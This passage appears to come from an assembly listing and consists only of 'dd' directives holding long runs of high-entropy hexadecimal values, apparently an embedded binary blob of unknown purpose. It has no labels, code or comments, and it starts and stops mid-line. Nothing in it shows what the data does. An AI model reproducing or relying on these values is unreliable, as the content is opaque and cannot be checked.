0A380BF21h, 8A16DFFAh dd 2E006A71h, 0C2E8EC11h, 0CE9D5Eh, 0BC1EE045h, 0E35D52C9h dd 31D8C726h, 4611D01h, 2034BFFFh, 72420023h, 9F2AE5BEh dd 9400CC0Ah, 0FB0857A4h, 344682h, 7B95BBF3h, 0D173738h dd 67FAC700h, 0A05DBDECh, 71F30057h, 0E2A7F24h, 0F700A522h dd 99F4A288h, 0B33152h, 3B5323C9h, 89C4B81Ah, 0A6A41750h dd 0E377900Bh, 0BB6000EAh, 0F47EFCE5h, 1611C011h, 823D48D3h dd 0A7EAB212h, 40E01808h, 9BF809CAh, 3D5F031Eh, 2945D880h dd 7ABF12Ch, 2B39E8A3h, 89E14FE4h, 0C167F57Ah, 7104D4D8h dd 0BBAA5800h, 0F0571D7Dh, 0D56800C0h, 9F979074h, 1789931h dd 8E6A7B00h, 0B43B396Ch, 0C7F1008Ah, 9D989649h, 0D60C2315h dd 7E6AAE8Dh, 0CD0D0083h, 423859CCh, 16009A51h, 1E31CB36h dd 0A552DFh, 0D457818Bh, 322C8D22h, 5F0163B0h, 0AC1C093Eh dd 0AFE6155Eh, 0A67E075Ch, 4C5660DEh, 1C03E550h, 0C0B3B5A2h dd 3F905DDAh, 0FB17CAF2h, 0C51C5BBCh, 0E0008C6Ah, 596F8319h dd 0DEE127B5h, 589C4010h, 51EA9996h, 0FCEA4D76h, 2A5F8A00h dd 3693460Ch, 2430069h, 8532356Ch, 56032119h, 2740F2DFh dd 7BE3A876h, 50CE760Dh, 73D4F1h, 86F936BAh, 3069EE1Fh dd 0E190FB73h, 2F1BBC00h, 0A6065B98h, 1A201F3h, 0CD4E5996h dd 31A660B9h, 1E3EC600h, 46F1D9C9h, 0F9B60739h, 6068129Bh dd 119EB5A3h, 0C702A096h, 41647F2Dh, 0C345914h, 7EFB3A8Eh dd 0BE012580h, 3D9EE690h dd 0C6FC4907h, 3130DC75h, 0A54661h, 37ACD387h, 0C4F09D25h dd 6403997Bh, 9E53081Fh, 0F5510103h, 36A5FAC0h, 4398782h dd 0D07221A3h, 0D4D07Bh, 407AFB55h, 4EE6D783h, 37F18100h dd 0CD6CDAEEh, 858603FAh, 63095D22h, 157778D8h, 1DE3D04h dd 60D01454h, 7CBD17h, 5EFE8DDDh, 34A07D76h, 0C2C5000h dd 675B7394h, 0B31A30D0h, 0ECA1BB50h, 2A01C27Ch, 68CDB582h dd 64F0C08Fh, 2798B4h, 0FB691163h, 0F46A7034h, 0A6392000h dd 0C74DCDBBh, 0CED5C29h, 379516h, 0F72F5A2h, 150085E8h dd 0C3C8A13Fh, 947F42h, 4C8A7ACBh, 0A4CEB457h, 5CAC8724h dd 5A314100h, 0D1D830h, 817D254Fh, 2718B33Bh, 3507BAE8h dd 8BE84380h, 505C48B0h, 1E4D16F0h, 3480771h, 68C02F94h dd 560D3360h, 6B7EB200h, 0C414FFBBh, 7D51006Fh, 0D4D60E3Ch dd 9C738F1Fh, 5B45601h, 0D36A4A21h, 0D2F4C0FEh, 9297001Dh dd 1FA5D475h, 0E6012FBBh, 369EC795h, 0E9E7FF45h, 4D6064AEh dd 0D647587Ah, 69172501h, 31743FD7h, 0DE6184D4h, 7CD14AC5h dd 0ADE04264h, 819A0057h, 72020EB9h, 8287406h, 0A4E0F125h dd 0D4760C7Ah, 910D8C00h, 0E7707A5h, 178628E7h, 24A73C10h dd 668E0375h, 38B6450Ah, 7C6D35D8h, 82F84D1Dh, 2FC91738h dd 0D7C6D420h, 0A91C0157h, 0BA16C044h, 0CDBB404Ch, 0E2F033F8h dd 4617BDF8h, 0D400558Ah, 5ACAB67Ch, 769E16B1h, 401C5771h dd 7CA6D27Ch, 4658D136h, 0D50B1BFFh, 0CB580049h, 667602B0h dd 7709A1D1h, 4890EB37h, 0A297A090h, 0F0480028h, 0ABF4CB9h dd 8D9FE716h, 22868038h, 67B16AB7h, 0D9004275h, 2D62DF09h dd 3D6A8EFh, 348D1F50h, 0EDA83825h, 150E5CB0h, 20A9B1DAh dd 0F6A1CC77h, 86EED3h, 34DFAC7Bh, 5905B323h, 67D19E00h dd 52F14943h, 0FBB20076h, 752A6C72h, 0EC1C806Eh, 5500A71Eh dd 83AB7CBh, 5F66588Ch, 0C6005E4Ch, 64E354FBh, 0BA009DB5h dd 8F1CDF5h, 5D9D73Ch, 0EDF2D046h, 4FE78174h, 0E6B8D766h dd 42008A7Bh, 0D7DDA33Ah, 39B409F7h, 0E59E3618h, 0D8120475h dd 0A7189064h, 0D00714Eh, 0E2E619ECh, 5E5F666h, 1DB1961Eh dd 89A8402Ch, 9C8317CEh, 4A80BB06h, 4130AEh, 2EE723C8h dd 0E2843A94h, 1877B230h, 64C4EE1Bh, 0F0C2BAFEh, 0E900843Ch dd 4C6814E0h, 3DB6F016h, 8B80C8EFh, 4A3F0AC0h, 59C04D83h dd 0A3DD8EB3h, 80E40740h, 16843241h, 2159126h, 12E063CFh dd 0E4B0E136h, 777D0142h, 7BD4A0Fh, 0C158C826h, 0A03D8400h dd 3C10E560h, 85980301h, 0A4AA11EBh, 0FC9DE2C1h, 79C0F8D7h dd 0A1A50686h, 26DB7538h, 7DAFE3Dh, 535AE8B3h, 0C6F8ECB2h dd 62004DD9h, 0F8B471BEh, 5ACD0203h, 0E412C2h, 45929345h dd 3500C74Ah, 0BBAF29DDh, 12E42623h, 511758h, 0AD57E2Dh dd 1D3AB65Dh, 212E310Bh, 830D9F6h, 449700CBh, 23FCDB63h dd 0A107F04Dh, 0EA48A281h, 729BC03h, 3BECD931h, 30FB0070h dd 0E9004CB3h, 179FB67Ah, 4085F8h, 0E33739DCh, 333A485Ch dd 0C56A2600h, 58E07EE6h, 42500F7h, 87506CECh, 2A19439Fh dd 0D908E95Fh, 528021BDh, 0E10E7B6Ch, 3918F9E8h, 0F6882C9Ch dd 0EEB83C81h, 0F7910130h, 0DF3029A2h, 0D15E2055h, 0E7AD1895h dd 0F7F39001h, 34F58B10h, 1ECC7500h, 0E135A091h, 77737114h dd 2A187698h, 0D41892EAh, 17F30F9Eh, 2C407996h, 0F1C69B1Bh dd 5092F000h, 987CACA1h, 82D50234h, 6C4F256h, 1F840BE0h dd 5F0CD900h, 7BC940EEh, 13CF00DFh, 41BE5C7Fh, 9D00D4DEh dd 45DC21CBh, 0BF7DFDh, 0B870C201h, 0ED582973h, 7B72A900h dd 810C4FA8h, 5EEC78h, 7AA471BAh, 0E108FC8Eh, 0B4393600h dd 9E2C44F1h, 587C0042h, 0A06ECE8Bh, 0FC071856h, 0C9FBD67Fh dd 62B6E180h, 0F5D21E6Bh, 97E5005Ch, 0F9D44E19h, 9C0BA8E8h dd 80C32E29h, 0AC2B6D82h, 6E800073h, 458F085Bh, 7A0E75DAh dd 605A2ABFh, 0ADBC9B35h, 0DD7300D5h, 34194DF1h, 0C53B519Dh dd 16B80CFh, 0B7C75D5Fh, 0A2BD00F3h, 4F1EF23Bh, 78009C04h dd 0C031CAC5h, 58888135h, 550049C7h, 0FC1209E2h, 6F6717F9h dd 0E6B10838h, 0ADE0010Fh, 378100D0h, 0DEC59CD7h, 290103EAh dd 0A38F481Dh, 61D95FC9h, 40D1F0h, 4BC83C34h, 4FA07CF2h dd 74AB3Dh, 0D84531DDh, 0C030C1h, 0A8BEA570h, 0F686E0B8h dd 10AB9F17h, 0A19A0B0Fh, 0D591926Dh, 31F874C5h, 0CDEA07DFh dd 0E6095B43h, 55001030h, 6C958DEBh, 1635A4h, 0CF21C95Ah dd 192EE91h, 23000FFAh, 89AFC2F6h, 0B70DBDh, 0EEF3EB07h dd 9F110533h, 7DA8CA00h, 55C954D1h, 0C8510320h, 0EDD4E55Dh dd 3C00D276h, 83F5318Fh, 9B70Eh, 0C3D3269Bh, 0B5271DFh dd 3120CE00h, 7330F9E5h, 57EA00E2h, 44F79994h, 0C800DF24h dd 0CC516336h, 1E7D66Dh, 4983B94Ah, 702F72C2h, 0B80784C4h dd 3B2D47E5h, 0A2D1C620h, 0C44D032Ah, 0BDADE164h, 0ED3137D0h dd 0A9000B78h, 0B44FEEFCh, 0F2180F91h, 700A02E3h, 0DB174941h dd 2BE3E0F7h, 0DD9900DAh, 8BE34C2h, 29006361h, 9F76B306h dd 1D72ABD3h, 40D024A6h, 0CCC9FA46h, 17000E91h, 6ABDE828h dd 37224996h, 0B0507935h, 0ABD2BFDAh, 9D004270h, 7FF795B9h dd 1CEB26A6h, 80CE65FFh, 61112273h, 6C007536h, 0E9F0C174h dd 1C2803h, 0D7BB6E84h, 0CAD091CDh, 8FB1DD00h, 28E44973h dd 0BF45004Dh, 0C89D1A56h, 0E0036ED4h, 182A3D3Ah, 70A1E82Bh dd 0D88500D5h, 0DBE9435Fh, 74EA353Ch, 0C0C6861Eh, 0C24A2040h dd 8CD279h, 0E7334187h, 9F3409E5h, 14487A01h, 59E2029Eh dd 80B08840h, 36700ADh, 81F06216h, 0C2004F38h, 3DD543B3h dd 0E00CA02Dh, 21B007Dh, 2AEAF891h, 3000827Fh, 628C04FBh dd 0FC07F4h, 49C3A0FFh, 2157837Dh, 430089F6h, 0D5CA9E73h dd 0F3D0BE0h, 555FD00Fh, 0C0B4E4E4h, 0C15B38B8h, 89850900h dd 0A131D991h, 8EB912D5h, 0B5BC0F1Fh, 16D106BDh, 8D0B1020h dd 80566EDDh, 3F1C6317h, 2790006Ch, 93838521h, 8C1FC003h dd 6100A4F2h, 0D3A51082h, 5E3201F7h, 1C3B5A25h, 0FEE4CC75h dd 98606A90h, 5470169h, 0E4B1422h, 6728A429h, 694900F8h dd 0EEA848D4h, 0E80068FBh, 2D2941D3h, 0CC765Fh, 2FFE529Bh dd 618632B8h, 3A0A3CF2h, 0B058B1D9h, 6CB70401h, 2C2095B5h dd 38900082h, 5A0285D6h, 0FE0FCAF1h, 0AE068170h, 6053EF31h dd 240E54F6h, 0BDF875h, 0A2E784ABh, 0AD55BFECh, 94B58201h dd 4BE4D75Ah, 0FE905C30h, 7E1D15D0h, 2E00C071h, 0C274FEB6h dd 0B40C6AB1h, 80CADC3Dh, 42F006Dh, 64CF3793h, 0D500AFF1h dd 8D312B56h, 0B835AFEh, 0F66F575h, 0BF65EE80h, 9E000C8Bh dd 0D87A37A6h, 2655B769h, 3C4744h, 3562A883h, 0DD0F79BEh dd 60B15EB9h, 2253C94Ch, 0BA4200F7h, 3020A32Dh, 200DC25h dd 6AA28E81h, 78436B27h, 0A7FB00B7h, 8CE5EE1Ah, 170F5E5Bh dd 6EB0847Bh, 42BB001Dh, 0B9D9ED7h, 0EB20A90Ch, 0F17D2B83h dd 2C1A6DF8h, 0C094B00Fh, 11DCE480h, 3ED5DC80h, 0CEF11499h dd 85078849h, 46F914h, 0BCEAC1C8h, 73058C00h, 0FB7A894h dd 0EF9F070Eh, 505630F7h, 991F7AD6h, 0A003E98h, 96A93D78h dd 0CFD7FCh, 0B88F5D6Dh, 0AB0F9E5Eh, 9369F100h, 8EEC0DEAh dd 7E360022h, 0EB3BA625h, 0A8C0E661h, 0DB18D71Fh, 0ADB70062h dd 0FBCEDF02h, 883DA751h, 0F8120041h, 80897DFCh, 0D77D97h dd 0B0B546FEh, 3119484Dh dd 0A95F7F00h, 0D8755D6Fh, 234F00AFh, 0D387DA4h, 0A761482Ah dd 2E6A05F0h, 89E52100h, 6035D100h, 0EB30ABDFh, 995B39CBh dd 0E48E0300h, 0DB4F0574h, 153FAC00h, 2CF5BB0Bh, 5ADCA0F3h dd 1340989h, 48204232h, 0ADC0B820h, 0EBE10406h, 3291F87h dd 0D1AE6936h, 780E2DBEh, 0D7908B91h, 39008BE8h, 0CBB1CF7Dh dd 631CC6A5h, 720053ABh, 0F04A0DFFh, 11EB0045h, 0E5DDAF96h dd 0A224F5C8h, 0EA07294Eh, 1089CB4Bh, 47B314h, 674AE1C7h dd 0AD980FBEh, 0EFE28E00h, 91E3A20Dh, 0D8EB077Ah, 0EDE5B9Fh dd 44850FD0h, 23F260E2h, 5849E618h, 2B3FF458h, 9BBD0889h dd 4D779F80h, 381C8D36h, 867AE7BFh, 236E8873h, 48C200AEh dd 985EF0B2h, 6D48F326h, 83409C1Ch, 0EEBDE190h, 96D30043h dd 0E0682514h, 330ECCC6h, 42F2DD81h, 6899350Bh, 1D75E9E4h dd 1A59D0h, 1C6026A1h, 0CA0F4EB7h, 23F77A72h, 0B0AFED57h dd 78FEA071h, 0AAE403A4h, 9FC6A7Ch, 0BECF2FCFh, 7970EF80h dd 1300C98Ch, 186E309Eh, 0F2433Bh, 9B902687h, 3109A681h dd 0B71A0300h, 2B88EB38h, 51523FD0h, 0E205DF80h, 8B86BE8Fh dd 5041C960h, 2CC297h, 1FA5F35h, 428809BAh, 0FEA1B400h dd 0F153FFCBh, 0DD3B0481h, 90DA0D66h, 200C8F38h, 5F046EE6h dd 1C4AA808h, 18CD1080h, 7319087h, 0D3A076A2h, 39306085h dd 0C502A377h, 46238F6Ah, 0C1EA80EBh, 2821FA6Eh, 28ECEC4Dh dd 1068D3h, 69C6A0BCh, 72342129h, 0FDABB513h, 0DDC87400h dd 33E8B6C9h, 3D107C9Eh, 5ACC07C0h, 0CD5BFF3Eh, 37E0088h dd 0E5AFD345h, 19F8FF1Ch, 4F68011Ah, 5905C4B7h, 0EDD86079h dd 0A28ABC0Fh, 5AB0E01Fh, 0FACD5B6h, 0E87AD722h, 9A9D2543h dd 0B81790D0h, 0B469EA7Ch, 9FBC2618h, 0D16D0558h, 40291CA3h dd 0B66EB090h, 0BA0E2896h, 98D8A2EFh, 61C48A48h, 7CC3A175h dd 0D32440EAh, 210A1B47h, 0DD3DAB2Ch, 54AF6707h, 0E0678E3Bh dd 0D9327417h, 7B4402D2h, 8C516F1Dh, 0BFE562E0h, 7C9D2B00h dd 0B50C1832h, 8766077Bh, 10119A5Dh, 0A42BBA1Eh, 0A5FFC214h dd 0F94E0738h, 0E7701C3Ah, 66C92919h, 214508F7h, 3AF1DC00h dd 99C663A9h, 0E218E4EBh, 0C0B3E669h, 2F292E6Ch, 0FE2E3520h dd 0E307942Dh, 0F9EFB2h, 401AC8FFh, 0A4C974BBh, 3E70C8h dd 0C69B7B05h, 1CF89F60h, 0CA06111Dh, 0F730C7C0h, 31B6817h dd 99EC295Ah, 70603F90h, 15432E91h, 842B006Dh, 0B5DA468Dh dd 790A7C77h, 0A878FAAAh, 5AF5E900h, 3FD09CFBh, 68B3B7BAh dd 2100EB08h, 0C157D2BCh, 1BECBEB2h, 48B52A64h, 46255AF0h dd 0E2BBB1Dh, 0C354784Eh, 88FD93B7h, 918D3Dh, 7CA420F0h dd 41D6642Bh, 3CA238C0h, 3C9606FFh, 70750Bh, 0BA9C7EB4h dd 3378551Eh, 0F6EA261Dh, 0FB00B79Ch, 0BC16CC83h, 0A3F507FDh dd 0D01F20D3h, 45262A48h, 25005998h, 3CBDF054h, 0E01787h dd 0D802767Ah, 5271AE91h, 5B70A300h, 3958EFBBh, 0BF03000Fh dd 8F72BE5Fh, 2901B14Fh, 62A3EA3Ah, 92DC12AAh, 971A0128h dd 653E310Ch, 80CFD0EFh, 0C7CD6400h, 765BE37Fh, 0B8D80E66h dd 0ACC0A4D0h, 7332F268h, 0D1C3Eh, 0F15538DCh, 0FB79A54h dd 4FEED6B5h, 18644706h, 0D4607407h, 6D176F66h, 736A20E1h dd 0CD228E08h, 184E546Ch, 2A3B426Eh, 73F00C42h, 67C62084h dd 0BAA6B808h, 69A40172h, 0F0F04EAFh, 0C060B03Bh, 7C825508h dd 0A4030638h, 211C1E4Dh, 4CC5EE00h, 2051DAAFh, 0BA99C173h dd 80CCC79Dh, 641A82D8h, 44D3966h, 0F7808783h, 813BC77Eh dd 882AD431h, 0FF13770h, 0B9C5921Eh, 2D080F6Ch, 4064B804h dd 66C878E6h, 80700138h, 0AF7E6D14h, 0A6E18227h, 28E5C06h dd 0ACA0C609h, 7D53199Dh, 0CE88CD0Dh, 9FF2D14Fh, 15D37004h dd 0CEF9A3Eh, 18059692h, 303402FDh, 1FCC6D73h, 547EFF40h dd 0C73EE81Dh, 0EE1A93C0h, 32FC15A1h, 23295605h, 79B2A021h dd 1E0E8BD4h, 40D4D9EDh, 44F9328Fh, 7F05E4F7h, 1EC3BEC4h dd 28D0CAC0h, 1B9802E7h, 4390A27Ah, 0D1C472E0h, 94B63Bh dd 3D42B45Dh, 0EA0AE6h, 38D59AFh, 2ABA7B18h, 155CDD00h dd 60B08B32h, 0FF3037Fh, 7B1A42D3h, 0EB669680h, 0A16E300h dd 0BA911272h, 0E153009Fh, 792A2C5Ch, 8200FD41h, 86DCE70Fh dd 7E363AA3h, 76DF000Eh, 0FB9C890Ch, 0A103BBBCh, 1E2FB8B7h dd 0D5E4E82Ah, 0DEB13F5Fh, 8030279Dh, 677901D6h, 842C10BAh dd 5E0E1DF2h, 0E9F08081h, 7DD4A75Bh, 28DB00E2h, 0C1B2CFABh dd 401D4D06h, 33008131h, 0C2777C64h, 0F8660F0Ch, 0C980CFCCh dd 0AD9625B9h, 0A00CBF4h, 26A94D6Dh, 830C36h, 1CB212A0h dd 31288109h, 677EE018h, 0FC821E28h, 0AE17004Eh, 2A34F97Dh dd 0F7003355h, 0F2245444h, 2C967Bh, 2ED9FA86h, 0AE345EF4h dd 3FE3D100h, 6735A60Fh, 0E680050h, 629F8A9Eh, 0DD3FE0A8h dd 1F878084h, 8DB358FEh, 0E59E387Fh, 0ADC4FA00h, 0A0EBC3CDh dd 303449h, 6C0F851Dh, 3C875ECEh, 2A0B49A9h, 708003C4h dd 32A0A5E5h, 96787D04h, 489041CAh, 4139D35h, 917FE79Ah dd 6E2BC014h, 0FC00A0BBh, 20822A83h, 3128D60Dh, 7EB0E01Fh dd 7FA0FB85h, 14001335h, 0BB5E34D8h, 0C04E5Ch, 0E80E6B3Eh dd 0B63AB8Ch, 1C3C2400h, 68AA73E1h, 0EEF900DFh, 354BBD6Eh dd 8900CD49h, 0A01416F2h, 0FA94CFA2h, 5CE47B27h, 0B53EB2DDh dd 562CBB80h, 902FC4ABh, 35B8739h, 9BA858C2h, 7CDFC009h dd 750600C8h, 55BFEF2Ch, 6B00D842h, 97D976Fh, 6DBEF2h dd 3AD2C17Ah, 0C048DF7Ch, 0E1BB9809h, 567480A2h, 900225A0h dd 5AEA033Ch, 148D901Fh, 3DE511B8h, 0F9280A01h, 2AF00620h dd 0B82C63DCh, 3ACD9831h, 0D304ECFEh, 83E5D7A4h, 898118Dh dd 7A000356h, 20A7FA44h, 1FA46C6Eh, 80D0FE7Dh, 0A10FCCDAh dd 405A262h, 61DEF930h, 6719C440h, 34033ABh, 4A665EFDh dd 3D801BADh, 3C00A84Fh, 0FE90116Ah, 0F24485h, 2168C8D0h dd 0D9CE320h, 346A8B00h, 5A56A6EFh, 0A4F49A33h, 0B5F0E78h dd 10E3DB8Ch, 6CC8B176h, 0CB09F25Ch, 8319FE29h, 0CC3731h dd 0A8B99178h, 49CABE7Eh, 78A05000h, 0E1719AD1h, 0DA6806CDh dd 963A34F8h, 0DF7EA400h, 719E8AB0h, 81D401D6h, 72465C79h dd 94E430CBh, 6F3C9157h, 0BB5843DAh, 68ABD80Ah, 63AF028h dd 6D265AE4h, 0E07370C2h, 0FC67621Ch, 0F52BB440h, 3942A528h dd 0B3005652h, 4471069Ch, 313E7D72h, 7B0782D5h, 40DFF623h dd 24933958h, 3842D410h, 1300B449h, 7792C641h, 0FA0F63AAh dd 82436631h, 4456BC88h, 357B14D4h, 8C005C95h, 4F0B5022h dd 99121A0Fh, 550F1507h, 56A1A0F2h, 91A916F5h, 0C45991CCh dd 60D0F6A8h, 0C6E83A1h, 0F5314E7Eh, 7F097D90h, 12265E10h dd 0B4DE8298h, 36A0A288h, 27071C95h, 13195F61h, 90DC6520h dd 0ED9F1273h, 70F8609Eh, 0DAE41C9Ch, 0DE086803h, 0CCB5AEh dd 0ABD03759h, 0CBE8BBF7h, 3632103h, 0F61B95h, 0FDCD3C98h dd 0D4BE256Eh, 78E47902h, 6050B2D2h, 0EE0970E8h, 2C6200A6h dd 0AC4A190Ah, 77308E7Dh, 11FD5861h, 74D34DA4h, 5DE8DA00h dd 95747258h, 6109B100h, 7E05BAC1h, 9D7101D1h, 9BA9AFE5h dd 1DFC40A4h, 0BC00391Fh, 0CDC11365h, 1F7D31CAh, 0C21E93BDh dd 5A164E03h, 0FF1F00C0h, 0D3BC500h, 0EC76CA50h, 6C4A4C88h dd 0A2982892h, 66807342h, 8C1437A3h, 9EB70913h, 3A101900h dd 9780F41h, 0CC732CEAh dd 0DE334021h, 4098C4D1h, 0AD20502h, 608EC5A2h, 0B0E9BE7Ch dd 9BF90B69h, 0FC20750Fh, 7DEC9522h, 10A3D4A0h, 0BD2CD109h dd 0A6D4B0D3h, 23E46ECh, 6DB2237Eh, 0C0C460FFh, 28BE13D7h dd 40D41F53h, 7D054A73h, 0B0007706h, 65469ABCh, 50F48559h dd 2EB479h, 53F1A707h, 0E5377829h, 5B900D00h, 0ED1FBFF2h dd 2BB90060h, 1DCBA879h, 2004B49h, 111A6150h, 0F5854Fh dd 3452166Ch, 0ED5DEFBDh, 0BC9884F4h, 3D051700h, 0F5537669h dd 103B00C7h, 319EA480h, 172484D9h, 45098CCAh, 4F908E01h dd 490EE003h, 1DD7B852h, 2EB9A9AAh, 7E58000Ch, 2B2E5F84h dd 617239E4h, 0B93DD8F7h, 18E5F000h, 0D4CCA62h, 29452695h dd 802800B2h, 0BB4F7007h, 48E9E05h, 2C80A8AAh, 3A1D64h dd 5A62947h, 0BB80169Fh, 17F8494Ch, 0BC00911Fh, 0BCBA783Bh dd 0CF5B006Fh, 0D538DFA0h, 0D10F010Bh, 2409167Dh, 68C0E01Dh dd 12C5B6ACh, 0F1EB6CCCh, 24B7C177h, 3E005C68h, 263B2A31h dd 98A524E6h, 9CD22440h, 51520041h, 0FF5855C6h, 0AA486A00h dd 0D575422h, 0AD82007Dh, 0EC925F28h, 240018E6h, 6989E72Fh dd 4B7CAF1h, 5FF8710Dh, 0DA3690F2h, 7C004E08h, 7DA23E18h dd 3455386h, 0BFBD0D9h, 9590932Ah, 0C700FABCh, 0BD67F688h dd 6599A4h, 730C376Bh, 0CF78E5F2h, 6FC09312h, 5F858045h dd 0B844D8h, 50157AA6h, 0F82D7BE5h, 4100A09Ah, 0A4C83174h dd 1D7259h, 0C10D3527h, 0B6870A9Dh, 9BB7E900h, 0A3343B1Ch dd 93BF0055h, 54C03E86h, 0E6500351h, 0DEF602F4h, 0C81EACA1h dd 78963443h, 0C2852180h, 269CAB37h, 3CB887h, 0B70B1178h dd 0AE00F19Ah, 0FF9791D8h, 3010C25Ch, 0CE98E14Fh, 0ED7C3154h dd 666E561Dh, 0A032AE09h, 0A1A62498h, 5A1B00A8h, 2A8A9BF2h dd 83008289h, 35AFDA75h, 5C173D8Dh, 990C4C44h, 0B178B7A4h dd 4E261A00h, 243658C6h, 6C8E00E4h, 2C970898h, 0BB245185h dd 2426F812h, 0E9BC7703h, 0DF4E13B9h, 833B053Bh, 0B0B0496Ch dd 8EE02C80h, 0EF004991h, 2CCDFF17h, 9F343Dh, 0D2CFD771h dd 0F77E4DA5h, 99675500h, 0FD5DF5B4h, 850B00F2h, 0B2619ADBh dd 1600A25Eh, 398DF044h, 8305B0h, 28F89C46h, 0B329012Fh dd 6884A318h, 2C94BA78h, 27CC2FDh, 16621303h, 60B71A60h dd 0F5335609h, 2CA4812Dh, 90411C24h, 62F4593Dh, 529E1DB9h dd 5CB02825h, 0EA9C080Eh, 9C48E534h, 0C66D078Ch, 60041EC4h dd 0F37ECC38h, 47EF4E0Bh, 4AF820B2h, 551028Fh, 3C1CB5CEh dd 5BC09034h, 0E60A6921h, 0B06D3227h, 0C9965142h, 5473BB4Ch dd 37D17981h, 994C2411h, 51CB4A00h, 0E6B17A92h, 58985188h dd 915E1464h, 85C16570h, 244C8880h, 0B979B405h, 0C0C82C92h dd 0A358033Bh, 0C86BC777h, 37642ED1h, 0B00093D4h, 181F2660h dd 9C8C0034h, 3F2996E8h, 0F304B2FDh, 8DEAE42Bh, 9944E4D3h dd 8450ECADh, 2CF7F611h, 93B81C31h, 1A5E07CCh, 4C2FD1D6h dd 2EEBD0BEh, 0D83F7802h, 802407CDh, 49960D2Ch, 417AACh dd 6AB116E2h, 4A4F615Ah, 21262D00h, 651D833h, 127003B5h dd 6686F3F0h, 0D4C47B90h, 972B5600h, 423DFB0h, 0DBE00072h dd 0FBA0C7D0h, 140039E1h, 3679DD88h, 93D2186h, 0A1B1B3BDh dd 7A170C60h, 0F94E20Eh, 0DF12906h, 0D99D1C24h, 9A29F134h dd 4FD84079h, 7D00881Ch, 9581C74Eh, 2E33EDDEh, 7CE03CCh dd 113FF29Ch, 702E61F1h, 93FA4152h, 0B23E3Ch, 69F285BBh dd 0EF8920h, 0CAE58187h, 558C09FAh, 3DC99F00h, 9D24AA31h dd 0EBE30023h, 65E166E7h, 0EA1D6EC7h, 3200616Ch, 18E29D27h dd 0DBCC0186h, 0D9A0D7D2h, 6C443036h, 94635126h, 0A5D47B00h dd 854737h, 0E19F131Ah, 62E873A0h, 0A9E26904h, 78C0044Dh dd 40382Ah, 0C0E7F11Eh, 3A2F5627h, 0F26CE000h, 0E487BFC6h dd 48DE740Ah, 18009C6Dh, 6466F1EFh, 3279D898h, 81CCF401h dd 42F3B9B1h, 0E43EA1FCh, 84394DB2h, 23151A00h, 8E0CE6EAh dd 64D56500h, 0C97EA41Eh, 4C9B00CCh, 314A0B89h, 0D1008122h dd 0AE1DF232h, 7AC6D7Dh, 68CE6771h, 50F3119Fh, 0BE1CE979h dd 5D3B8221h, 40588DB6h, 0FDAE46Ch, 1D65F62Ch, 8C6D5380h dd 0F8004136h, 7EA8BE10h, 32E0514h, 4A77A0ABh, 0C19D0E01h dd 20C8FBD2h, 5486A30h, 77443AA0h, 87254300h, 2D5424A3h dd 1C383045h, 0C7FD1378h, 0F94A1D1Ch, 68AD5B40h, 16C8D8h dd 0A042B21Bh, 2E3E0FF7h, 44264D06h, 5A059C0h, 0B4B8336Fh dd 1B05BF5Dh, 0C080A51Fh, 0F66B8Ah, 308DF1CFh, 4411358Ch dd 0C6B95705h, 0C8806383h, 0FC9E7Ch, 0C19F5E9h, 3193A1FEh dd 56118707h, 0C2878073h, 7DB4CD10h, 29DC033Dh, 0F43B5E36h dd 0D8EBFDE9h, 0F976A556h, 78D41904h, 48C0CD5Fh, 20D9985Ah dd 0FC07862Dh, 74426AD2h, 14804117h, 9B595Ah, 31DBB4FFh dd 0E67F7876h, 95BC00Ah, 5300C06Ah, 0DFFCD12Ah, 168C0006h dd 0A6D07331h, 0D501BEE8h, 2FEC6EC4h, 0E20833Bh, 317809F9h dd 0F480667Ah, 1EB4CF14h, 4F00AFF4h, 92EE5CB3h, 9E7A44h dd 0C360129Ch, 78831D2Dh, 73A13200h, 176141D3h, 0D5660720h dd 702D976Fh, 22022B29h, 9C7E0F18h, 2FE4E8h, 530C9D55h dd 4DC9356h, 0B425220Ah, 7301E82Eh, 0DFE26B0Dh, 15EF6E4h dd 2534D9D6h, 700FA128h, 0E03D5D4h, 2262B55Ah, 68B4C219h dd 1F7DB0ECh, 0E59F96h, 0A7C348EEh, 0CF00C9DDh, 0C63FF7B9h dd 0B21378h, 2EF8621Ch, 6610367Dh, 880BAEF8h, 0F2A4518h dd 4CC0FEADh, 430464C1h, 3F7D00B2h, 0BD966AA4h, 0E70041C6h dd 314B3913h, 4C6264h, 6075C79Dh, 0C209DCD3h, 0B7C68700h dd 4265FA3Ch, 0EB9000BDh, 9C5963E4h, 4E24B20Dh, 43E43834h dd 0DDF868D1h, 0F6019828h, 0A5AF5B50h, 7AC42CCDh, 0C1C68800h dd 8BC20792h, 1166399Ah, 0C3896D9Eh, 0A6F6BC7Eh, 44D81780h dd 0D3FDEC03h, 0BB367552h, 379DA01Eh, 26D50BFBh, 8E1162h dd 2F612E6Ch, 17E22902h, 447BAF83h, 112D00C0h, 33BA81B3h dd 8801FEFFh, 53EC6FCEh, 0A8EBF785h, 0DA18C1h, 0DD931271h dd 0FB2D8CD7h, 0B0D84Ch, 251F965Ch, 3417E5h, 0F5166EC1h dd 0F3E4D0Ch, 0C5F49200h, 4730DFC9h, 0C87A0161h, 0FAF848CEh dd 0D0D8F6E6h, 6C728D00h, 658C77AEh, 1B250031h, 9A81AA4Ch dd 190029CBh, 80FDE80Fh, 4E28BE9Bh, 10141027h, 0E1160201h dd 0C499ABAEh, 0B37733B2h, 30036E18h, 0EB87460h, 8445EB96h dd 4F6882C0h, 2263D6FDh, 0C5406C80h, 0BAC202EFh, 0B4D8EBA9h dd 2C17ADECh, 0D3073C52h, 1347A44Eh, 2D334900h, 400300EEh dd 5CEB93B8h, 0F0002BD6h, 8D73B274h, 712C20h, 0E408FDEDh dd 80147CC4h, 0B9548B18h, 59C9D30h, 0EC4B326Fh, 81B4E44Fh dd 6D0020E2h, 2DA759F6h, 0CDAF47h, 92F8FDCEh, 0E4096475h dd 80548030h, 184D3066h, 0B19E7BF9h, 0E201363Eh, 5DA8F82Ch dd 0B9D06CB8h, 54450ECBh, 64C0117Ch, 0DCC1AC1Ch, 0C58C3154h dd 0E200A4E0h, 56E9BF2Eh, 69CA9329h, 4980503Ch, 2BC08971h dd 80195039h, 7FA8378Ah, 2E1C104h, 0A9BB0208h, 0A48353F4h dd 390169CCh, 89375F4Eh, 0ACCCE21h, 44120052h, 0F7338A19h dd 2D03BABCh, 0ED4BC0AFh, 0DB4290F9h, 51E907F0h, 80D7E88Ah dd 26F81D27h, 0BF46E10Eh, 0C8B6CC4Ah, 0D7E6176Ah, 311300E2h dd 0ED2548DBh, 0D1364E30h, 156CE61Dh, 0AC5493C6h, 0EBD98A01h dd 